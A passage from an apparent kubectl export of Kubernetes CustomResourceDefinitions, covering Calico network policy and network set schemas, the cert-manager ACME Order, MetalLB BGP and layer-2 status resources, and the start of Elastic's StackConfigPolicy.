                          "ICMP" or "ICMPv6".
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      ipVersion:
                        description: |-
                          IPVersion is an optional field that restricts the rule to only match a specific IP
                          version.
                        type: integer
                      metadata:
                        description: Metadata contains additional information for
                          this rule
                        properties:
                          annotations:
                            additionalProperties:
                              type: string
                            description: Annotations is a set of key value pairs that
                              give extra information about the rule
                            type: object
                        type: object
                      notICMP:
                        description: NotICMP is the negated version of the ICMP field.
                        properties:
                          code:
                            description: |-
                              Match on a specific ICMP code.  If specified, the Type value must also be specified.
                              This is a technical limitation imposed by the kernel's iptables firewall, which
                              Calico uses to enforce the rule.
                            type: integer
                          type:
                            description: |-
                              Match on a specific ICMP type.  For example a value of 8 refers to ICMP Echo Request
                              (i.e. pings).
                            type: integer
                        type: object
                      notProtocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: NotProtocol is the negated version of the Protocol
                          field.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      protocol:
                        anyOf:
                        - type: integer
                        - type: string
                        description: |-
                          Protocol is an optional field that restricts the rule to only apply to traffic of
                          a specific IP protocol. Required if any of the EntityRules contain Ports
                          (because ports only apply to certain protocols).

                          Must be one of these string values: "TCP", "UDP", "ICMP", "ICMPv6", "SCTP", "UDPLite"
                          or an integer in the range 1-255.
                        pattern: ^.*
                        x-kubernetes-int-or-string: true
                      source:
                        description: Source contains the match criteria that apply
                          to source entity.
                        properties:
                          namespaceSelector:
                            description: |-
                              NamespaceSelector is an optional field that contains a selector expression. Only traffic
                              that originates from (or terminates at) endpoints within the selected namespaces will be
                              matched. When both NamespaceSelector and another selector are defined on the same rule, then only
                              workload endpoints that are matched by both selectors will be selected by the rule.

                              For NetworkPolicy, an empty NamespaceSelector implies that the Selector is limited to selecting
                              only workload endpoints in the same namespace as the NetworkPolicy.

                              For NetworkPolicy, `global()` NamespaceSelector implies that the Selector is limited to selecting
                              only GlobalNetworkSet or HostEndpoint.

                              For GlobalNetworkPolicy, an empty NamespaceSelector implies the Selector applies to workload
                              endpoints across all namespaces.
                            type: string
                          nets:
                            description: |-
                              Nets is an optional field that restricts the rule to only apply to traffic that
                              originates from (or terminates at) IP addresses in any of the given subnets.
                            items:
                              type: string
                            type: array
                          notNets:
                            description: NotNets is the negated version of the Nets
                              field.
                            items:
                              type: string
                            type: array
                          notPorts:
                            description: |-
                              NotPorts is the negated version of the Ports field.
                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          notSelector:
                            description: |-
                              NotSelector is the negated version of the Selector field.  See Selector field for
                              subtleties with negated selectors.
                            type: string
                          ports:
                            description: |-
                              Ports is an optional field that restricts the rule to only apply to traffic that has a
                              source (destination) port that matches one of these ranges/values. This value is a
                              list of integers or strings that represent ranges of ports.

                              Since only some protocols have ports, if any ports are specified it requires the
                              Protocol match in the Rule to be set to "TCP" or "UDP".
                            items:
                              anyOf:
                              - type: integer
                              - type: string
                              pattern: ^.*
                              x-kubernetes-int-or-string: true
                            type: array
                          selector:
                            description: "Selector is an optional field that contains
                              a selector expression (see Policy for\nsample syntax).
                              \ Only traffic that originates from (terminates at)
                              endpoints matching\nthe selector will be matched.\n\nNote
                              that: in addition to the negated version of the Selector
                              (see NotSelector below), the\nselector expression syntax
                              itself supports negation.  The two types of negation
                              are subtly\ndifferent. One negates the set of matched
                              endpoints, the other negates the whole match:\n\n\tSelector
                              = \"!has(my_label)\" matches packets that are from other
                              Calico-controlled\n\tendpoints that do not have the
                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                    required:
                    - action
                    type: object
                  type: array
                order:
                  description: |-
                    Order is an optional field that specifies the order in which the policy is applied.
                    Policies with higher "order" are applied after those with lower
                    order within the same tier.  If the order is omitted, it may be considered to be "infinite" - i.e. the
                    policy will be applied last.  Policies with identical order will be applied in
                    alphanumerical order based on the Policy "Name" within the tier.
                  type: number
                performanceHints:
                  description: |-
                    PerformanceHints contains a list of hints to Calico's policy engine to
                    help process the policy more efficiently.  Hints never change the
                    enforcement behaviour of the policy.

                    Currently, the only available hint is "AssumeNeededOnEveryNode".  When
                    that hint is set on a policy, Felix will act as if the policy matches
                    a local endpoint even if it does not. This is useful for "preloading"
                    any large static policies that are known to be used on every node.
                    If the policy is _not_ used on a particular node then the work
                    done to preload the policy (and to maintain it) is wasted.
                  items:
                    type: string
                  type: array
                selector:
                  description: "The selector is an expression used to pick out the
                    endpoints that the policy should\nbe applied to.\n\nSelector expressions
                    follow this syntax:\n\n\tlabel == \"string_literal\"  ->  comparison,
                    e.g. my_label == \"foo bar\"\n\tlabel != \"string_literal\"   ->
                    \ not equal; also matches if label is not present\n\tlabel in
                    { \"a\", \"b\", \"c\", ... }  ->  true if the value of label X
                    is one of \"a\", \"b\", \"c\"\n\tlabel not in { \"a\", \"b\",
                    \"c\", ... }  ->  true if the value of label X is not one of \"a\",
                    \"b\", \"c\"\n\thas(label_name)  -> True if that label is present\n\t!
                    expr -> negation of expr\n\texpr && expr  -> Short-circuit and\n\texpr
                    || expr  -> Short-circuit or\n\t( expr ) -> parens for grouping\n\tall()
                    or the empty selector -> matches all endpoints.\n\nLabel names
                    are allowed to contain alphanumerics, -, _ and /. String literals
                    are more permissive\nbut they do not support escape characters.\n\nExamples
                    (with made-up labels):\n\n\ttype == \"webserver\" && deployment
                    == \"prod\"\n\ttype in {\"frontend\", \"backend\"}\n\tdeployment
                    != \"dev\"\n\t! has(label_name)"
                  type: string
                serviceAccountSelector:
                  description: ServiceAccountSelector is an optional field for an
                    expression used to select a pod based on service accounts.
                  type: string
                tier:
                  description: |-
                    The name of the tier that this policy belongs to.  If this is omitted, the default
                    tier (name is "default") is assumed.  The specified tier must exist in order to create
                    security policies within the tier, the "default" tier is created automatically if it
                    does not exist, this means for deployments requiring only a single Tier, the tier name
                    may be omitted on all policy management requests.
                  type: string
                types:
                  description: |-
                    Types indicates whether this policy applies to ingress, or to egress, or to both.  When
                    not explicitly specified (and so the value on creation is empty or nil), Calico defaults
                    Types according to what Ingress and Egress are present in the policy.  The
                    default is:

                    - [ PolicyTypeIngress ], if there are no Egress rules (including the case where there are
                      also no Ingress rules)

                    - [ PolicyTypeEgress ], if there are Egress rules but no Ingress rules

                    - [ PolicyTypeIngress, PolicyTypeEgress ], if there are both Ingress and Egress rules.

                    When the policy is read back again, Types will always be one of these values, never empty
                    or nil.
                  items:
                    description: PolicyType enumerates the possible values of the
                      PolicySpec Types field.
                    type: string
                  type: array
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: NetworkPolicy
      listKind: NetworkPolicyList
      plural: networkpolicies
      singular: networkpolicy
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"networksets.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"NetworkSet","listKind":"NetworkSetList","plural":"networksets","singular":"networkset"},"preserveUnknownFields":false,"scope":"Namespaced","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"description":"NetworkSet is the Namespaced-equivalent of the GlobalNetworkSet.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"NetworkSetSpec contains the specification for a NetworkSet resource.","properties":{"nets":{"description":"The list of IP networks that belong to this set.","items":{"type":"string"},"type":"array"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:51Z"
    generation: 3
    name: networksets.crd.projectcalico.org
    resourceVersion: "6820710"
    uid: 4e4f7129-7d67-4fa4-8fb4-4b8dd6a8c2c0
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: NetworkSet
      listKind: NetworkSetList
      plural: networksets
      singular: networkset
    scope: Namespaced
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          description: NetworkSet is the Namespaced-equivalent of the GlobalNetworkSet.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: NetworkSetSpec contains the specification for a NetworkSet
                resource.
              properties:
                nets:
                  description: The list of IP networks that belong to this set.
                  items:
                    type: string
                  type: array
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: NetworkSet
      listKind: NetworkSetList
      plural: networksets
      singular: networkset
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      helm.sh/resource-policy: keep
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:22Z"
    generation: 1
    labels:
      app: cert-manager
      app.kubernetes.io/component: crds
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: orders.acme.cert-manager.io
    resourceVersion: "220055"
    uid: 1a32a692-31a3-467f-9d53-db25aabc26e8
  spec:
    conversion:
      strategy: None
    group: acme.cert-manager.io
    names:
      categories:
      - cert-manager
      - cert-manager-acme
      kind: Order
      listKind: OrderList
      plural: orders
      singular: order
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.state
        name: State
        type: string
      - jsonPath: .spec.issuerRef.name
        name: Issuer
        priority: 1
        type: string
      - jsonPath: .status.reason
        name: Reason
        priority: 1
        type: string
      - description: CreationTimestamp is a timestamp representing the server time
          when this object was created. It is not guaranteed to be set in happens-before
          order across separate operations. Clients may not set this value. It is
          represented in RFC3339 form and is in UTC.
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      name: v1
      schema:
        openAPIV3Schema:
          description: Order is a type to represent an Order with an ACME server
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              properties:
                commonName:
                  description: |-
                    CommonName is the common name as specified on the DER encoded CSR.
                    If specified, this value must also be present in `dnsNames` or `ipAddresses`.
                    This field must match the corresponding field on the DER encoded CSR.
                  type: string
                dnsNames:
                  description: |-
                    DNSNames is a list of DNS names that should be included as part of the Order
                    validation process.
                    This field must match the corresponding field on the DER encoded CSR.
                  items:
                    type: string
                  type: array
                duration:
                  description: |-
                    Duration is the duration for the not after date for the requested certificate.
                    this is set on order creation as pe the ACME spec.
                  type: string
                ipAddresses:
                  description: |-
                    IPAddresses is a list of IP addresses that should be included as part of the Order
                    validation process.
                    This field must match the corresponding field on the DER encoded CSR.
                  items:
                    type: string
                  type: array
                issuerRef:
                  description: |-
                    IssuerRef references a properly configured ACME-type Issuer which should
                    be used to create this Order.
                    If the Issuer does not exist, processing will be retried.
                    If the Issuer is not an 'ACME' Issuer, an error will be returned and the
                    Order will be marked as failed.
                  properties:
                    group:
                      description: Group of the resource being referred to.
                      type: string
                    kind:
                      description: Kind of the resource being referred to.
                      type: string
                    name:
                      description: Name of the resource being referred to.
                      type: string
                  required:
                  - name
                  type: object
                profile:
                  description: |-
                    Profile allows requesting a certificate profile from the ACME server.
                    Supported profiles are listed by the server's ACME directory URL.
                  type: string
                request:
                  description: |-
                    Certificate signing request bytes in DER encoding.
                    This will be used when finalizing the order.
                    This field must be set on the order.
                  format: byte
                  type: string
              required:
              - issuerRef
              - request
              type: object
            status:
              properties:
                authorizations:
                  description: |-
                    Authorizations contains data returned from the ACME server on what
                    authorizations must be completed in order to validate the DNS names
                    specified on the Order.
                  items:
                    description: |-
                      ACMEAuthorization contains data returned from the ACME server on an
                      authorization that must be completed in order validate a DNS name on an ACME
                      Order resource.
                    properties:
                      challenges:
                        description: |-
                          Challenges specifies the challenge types offered by the ACME server.
                          One of these challenge types will be selected when validating the DNS
                          name and an appropriate Challenge resource will be created to perform
                          the ACME challenge process.
                        items:
                          description: |-
                            Challenge specifies a challenge offered by the ACME server for an Order.
                            An appropriate Challenge resource can be created to perform the ACME
                            challenge process.
                          properties:
                            token:
                              description: |-
                                Token is the token that must be presented for this challenge.
                                This is used to compute the 'key' that must also be presented.
                              type: string
                            type:
                              description: |-
                                Type is the type of challenge being offered, e.g., 'http-01', 'dns-01',
                                'tls-sni-01', etc.
                                This is the raw value retrieved from the ACME server.
                                Only 'http-01' and 'dns-01' are supported by cert-manager, other values
                                will be ignored.
                              type: string
                            url:
                              description: |-
                                URL is the URL of this challenge. It can be used to retrieve additional
                                metadata about the Challenge from the ACME server.
                              type: string
                          required:
                          - token
                          - type
                          - url
                          type: object
                        type: array
                      identifier:
                        description: Identifier is the DNS name to be validated as
                          part of this authorization
                        type: string
                      initialState:
                        description: |-
                          InitialState is the initial state of the ACME authorization when first
                          fetched from the ACME server.
                          If an Authorization is already 'valid', the Order controller will not
                          create a Challenge resource for the authorization. This will occur when
                          working with an ACME server that enables 'authz reuse' (such as Let's
                          Encrypt's production endpoint).
                          If not set and 'identifier' is set, the state is assumed to be pending
                          and a Challenge will be created.
                        enum:
                        - valid
                        - ready
                        - pending
                        - processing
                        - invalid
                        - expired
                        - errored
                        type: string
                      url:
                        description: URL is the URL of the Authorization that must
                          be completed
                        type: string
                      wildcard:
                        description: |-
                          Wildcard will be true if this authorization is for a wildcard DNS name.
                          If this is true, the identifier will be the *non-wildcard* version of
                          the DNS name.
                          For example, if '*.example.com' is the DNS name being validated, this
                          field will be 'true' and the 'identifier' field will be 'example.com'.
                        type: boolean
                    required:
                    - url
                    type: object
                  type: array
                certificate:
                  description: |-
                    Certificate is a copy of the PEM encoded certificate for this Order.
                    This field will be populated after the order has been successfully
                    finalized with the ACME server, and the order has transitioned to the
                    'valid' state.
                  format: byte
                  type: string
                failureTime:
                  description: |-
                    FailureTime stores the time that this order failed.
                    This is used to influence garbage collection and back-off.
                  format: date-time
                  type: string
                finalizeURL:
                  description: |-
                    FinalizeURL of the Order.
                    This is used to obtain certificates for this order once it has been completed.
                  type: string
                reason:
                  description: |-
                    Reason optionally provides more information about a why the order is in
                    the current state.
                  type: string
                state:
                  description: |-
                    State contains the current state of this Order resource.
                    States 'success' and 'expired' are 'final'
                  enum:
                  - valid
                  - ready
                  - pending
                  - processing
                  - invalid
                  - expired
                  - errored
                  type: string
                url:
                  description: |-
                    URL of the Order.
                    This will initially be empty when the resource is first created.
                    The Order controller will populate this field when the Order is first processed.
                    This field will be immutable after it is initially set.
                  type: string
              type: object
          required:
          - metadata
          - spec
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - cert-manager
      - cert-manager-acme
      kind: Order
      listKind: OrderList
      plural: orders
      singular: order
    conditions:
    - lastTransitionTime: "2025-09-22T13:18:22Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-22T13:18:22Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.2
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    generation: 1
    labels:
      app.kubernetes.io/managed-by: Helm
    name: servicebgpstatuses.metallb.io
    resourceVersion: "57863"
    uid: 7af7a10d-4ecb-47b2-977b-e7c63a77dba1
  spec:
    conversion:
      strategy: None
    group: metallb.io
    names:
      kind: ServiceBGPStatus
      listKind: ServiceBGPStatusList
      plural: servicebgpstatuses
      singular: servicebgpstatus
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.node
        name: Node
        type: string
      - jsonPath: .status.serviceName
        name: Service Name
        type: string
      - jsonPath: .status.serviceNamespace
        name: Service Namespace
        type: string
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: ServiceBGPStatus exposes the BGP peers a service is configured
            to be advertised to, per relevant node.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: ServiceBGPStatusSpec defines the desired state of ServiceBGPStatus.
              type: object
            status:
              description: MetalLBServiceBGPStatus defines the observed state of ServiceBGPStatus.
              properties:
                node:
                  description: Node indicates the node announcing the service.
                  type: string
                  x-kubernetes-validations:
                  - message: Value is immutable
                    rule: self == oldSelf
                peers:
                  description: |-
                    Peers indicate the BGP peers for which the service is configured to be advertised to.
                    The service being actually advertised to a given peer depends on the session state and is not indicated here.
                  items:
                    type: string
                  type: array
                serviceName:
                  description: ServiceName indicates the service this status represents.
                  type: string
                  x-kubernetes-validations:
                  - message: Value is immutable
                    rule: self == oldSelf
                serviceNamespace:
                  description: ServiceNamespace indicates the namespace of the service.
                  type: string
                  x-kubernetes-validations:
                  - message: Value is immutable
                    rule: self == oldSelf
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: ServiceBGPStatus
      listKind: ServiceBGPStatusList
      plural: servicebgpstatuses
      singular: servicebgpstatus
    conditions:
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1beta1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.2
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    generation: 1
    labels:
      app.kubernetes.io/managed-by: Helm
    name: servicel2statuses.metallb.io
    resourceVersion: "57871"
    uid: 01b306f7-5dd6-4361-9872-55ed67825c80
  spec:
    conversion:
      strategy: None
    group: metallb.io
    names:
      kind: ServiceL2Status
      listKind: ServiceL2StatusList
      plural: servicel2statuses
      singular: servicel2status
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.node
        name: Allocated Node
        type: string
      - jsonPath: .status.serviceName
        name: Service Name
        type: string
      - jsonPath: .status.serviceNamespace
        name: Service Namespace
        type: string
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: ServiceL2Status reveals the actual traffic status of loadbalancer
            services in layer2 mode.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: ServiceL2StatusSpec defines the desired state of ServiceL2Status.
              type: object
            status:
              description: MetalLBServiceL2Status defines the observed state of ServiceL2Status.
              properties:
                interfaces:
                  description: Interfaces indicates the interfaces that receive the
                    directed traffic
                  items:
                    description: InterfaceInfo defines interface info of layer2 announcement.
                    properties:
                      name:
                        description: Name the name of network interface card
                        type: string
                    type: object
                  type: array
                node:
                  description: Node indicates the node that receives the directed
                    traffic
                  type: string
                  x-kubernetes-validations:
                  - message: Value is immutable
                    rule: self == oldSelf
                serviceName:
                  description: ServiceName indicates the service this status represents
                  type: string
                  x-kubernetes-validations:
                  - message: Value is immutable
                    rule: self == oldSelf
                serviceNamespace:
                  description: ServiceNamespace indicates the namespace of the service
                  type: string
                  x-kubernetes-validations:
                  - message: Value is immutable
                    rule: self == oldSelf
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: ServiceL2Status
      listKind: ServiceL2StatusList
      plural: servicel2statuses
      singular: servicel2status
    conditions:
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1beta1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.15.0
      helm.sh/resource-policy: keep
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.15.0","helm.sh/resource-policy":"keep"},"labels":{"app.kubernetes.io/instance":"elastic-operator","app.kubernetes.io/name":"eck-operator-crds","app.kubernetes.io/version":"2.14.0"},"name":"stackconfigpolicies.stackconfigpolicy.k8s.elastic.co"},"spec":{"group":"stackconfigpolicy.k8s.elastic.co","names":{"categories":["elastic"],"kind":"StackConfigPolicy","listKind":"StackConfigPolicyList","plural":"stackconfigpolicies","shortNames":["scp"],"singular":"stackconfigpolicy"},"scope":"Namespaced","versions":[{"additionalPrinterColumns":[{"description":"Resources configured","jsonPath":".status.readyCount","name":"Ready","type":"string"},{"jsonPath":".status.phase","name":"Phase","type":"string"},{"jsonPath":".metadata.creationTimestamp","name":"Age","type":"date"}],"name":"v1alpha1","schema":{"openAPIV3Schema":{"description":"StackConfigPolicy represents a StackConfigPolicy resource in a Kubernetes cluster.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"properties":{"elasticsearch":{"properties":{"clusterSettings":{"description":"ClusterSettings holds the Elasticsearch cluster settings (/_cluster/settings)","type":"object","x-kubernetes-preserve-unknown-fields":true},"config":{"description":"Config holds the settings that go into elasticsearch.yml.","type":"object","x-kubernetes-preserve-unknown-fields":true},"indexLifecyclePolicies":{"description":"IndexLifecyclePolicies holds the Index Lifecycle policies settings (/_ilm/policy)","type":"object","x-kubernetes-preserve-unknown-fields":true},"indexTemplates":{"description":"IndexTemplates holds the Index and Component Templates settings","properties":{"componentTemplates":{"description":"ComponentTemplates holds the Component Templates settings (/_component_template)","type":"object","x-kubernetes-preserve-unknown-fields":true},"composableIndexTemplates":{"description":"ComposableIndexTemplates holds the Index Templates settings (/_index_template)","type":"object","x-kubernetes-preserve-unknown-fields":true}},"type":"object","x-kubernetes-preserve-unknown-fields":true},"ingestPipelines":{"description":"IngestPipelines holds the Ingest Pipelines settings (/_ingest/pipeline)","type":"object","x-kubernetes-preserve-unknown-fields":true},"secretMounts":{"description":"SecretMounts are additional Secrets that need to be mounted into the Elasticsearch pods.","items":{"description":"SecretMount contains information about additional secrets to be mounted to the elasticsearch pods","properties":{"mountPath":{"description":"MountPath denotes the path to which the secret should be mounted to inside the elasticsearch pod","type":"string"},"secretName":{"description":"SecretName denotes the name of the secret that needs to be mounted to the elasticsearch pod","type":"string"}},"type":"object"},"type":"array","x-kubernetes-preserve-unknown-fields":true},"secureSettings":{"description":"SecureSettings are additional Secrets that contain data to be configured to Elasticsearch's keystore.","items":{"description":"SecretSource defines a data source based on a Kubernetes Secret.","properties":{"entries":{"description":"Entries define how to project each key-value pair in the secret to filesystem paths.\nIf not defined, all keys will be projected to similarly named paths in the filesystem.\nIf defined, only the specified keys will be projected to the corresponding paths.","items":{"description":"KeyToPath defines how to map a key in a Secret object to a filesystem path.","properties":{"key":{"description":"Key is the key contained in the secret.","type":"string"},"path":{"description":"Path is the relative file path to map the key to.\nPath must not be an absolute file path and must not contain any \"..\" components.","type":"string"}},"required":["key"],"type":"object"},"type":"array"},"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"required":["secretName"],"type":"object"},"type":"array","x-kubernetes-preserve-unknown-fields":true},"securityRoleMappings":{"description":"SecurityRoleMappings holds the Role Mappings settings (/_security/role_mapping)","type":"object","x-kubernetes-preserve-unknown-fields":true},"snapshotLifecyclePolicies":{"description":"SnapshotLifecyclePolicies holds the Snapshot Lifecycle Policies settings (/_slm/policy)","type":"object","x-kubernetes-preserve-unknown-fields":true},"snapshotRepositories":{"description":"SnapshotRepositories holds the Snapshot Repositories settings (/_snapshot)","type":"object","x-kubernetes-preserve-unknown-fields":true}},"type":"object"},"kibana":{"properties":{"config":{"description":"Config holds the settings that go into kibana.yml.","type":"object","x-kubernetes-preserve-unknown-fields":true},"secureSettings":{"description":"SecureSettings are additional Secrets that contain data to be configured to Kibana's keystore.","items":{"description":"SecretSource defines a data source based on a Kubernetes Secret.","properties":{"entries":{"description":"Entries define how to project each key-value pair in the secret to filesystem paths.\nIf not defined, all keys will be projected to similarly named paths in the filesystem.\nIf defined, only the specified keys will be projected to the corresponding paths.","items":{"description":"KeyToPath defines how to map a key in a Secret object to a filesystem path.","properties":{"key":{"description":"Key is the key contained in the secret.","type":"string"},"path":{"description":"Path is the relative file path to map the key to.\nPath must not be an absolute file path and must not contain any \"..\" components.","type":"string"}},"required":["key"],"type":"object"},"type":"array"},"secretName":{"description":"SecretName is the name of the 